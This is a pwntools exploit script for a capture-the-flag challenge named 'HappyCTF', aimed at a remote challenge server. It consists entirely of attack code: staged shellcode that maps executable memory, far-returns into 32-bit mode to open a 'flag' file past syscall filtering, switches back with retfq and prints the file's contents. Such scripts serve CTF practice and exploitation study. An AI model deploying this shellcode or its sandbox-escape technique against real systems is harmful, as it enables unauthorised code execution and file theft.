1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| from pwn import * from LibcSearcher import * import itertools import ctypes
context(os='linux', log_level='debug') is_debug = 0
IP = "node1.anna.nssctf.cn" PORT = 28325
elf = context.binary = ELF('./HappyCTF') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
bss = 0x404000
payload = asm(''' mov eax,9 mov edi,0x23000 mov esi,0x1000 mov edx,7 mov r10,0x22 xor r8,r8 xor r9,r9 syscall ''')
payload += asm(''' xor eax,eax xor edi,edi mov esi,0x23000 mov edx,0x200 syscall ''')
payload += asm(''' mov rsp,0x23500 mov eax,0x23 mov [rsp + 4],eax mov rax,0x23008 mov [rsp],eax ''') payload += b"\xcb"
payload2 = b"flag\x00\x00\x00\x00" payload2 += asm(''' mov eax,5 mov ebx,0x23000 mov ecx,0 int 0x80 ''')
payload2 += asm(''' push 0x33 push 0x23022 retfq ''')
payload2 += asm(''' xor eax,eax mov edi,3 mov esi,0x23000 mov edx,0x40 syscall
mov eax,1 mov edi,1 mov esi,0x23000 mov edx,0x40 syscall ''')
sa("Now,plz you input:\n",payload)
time.sleep(0.4)
s(payload2) p.interactive()
|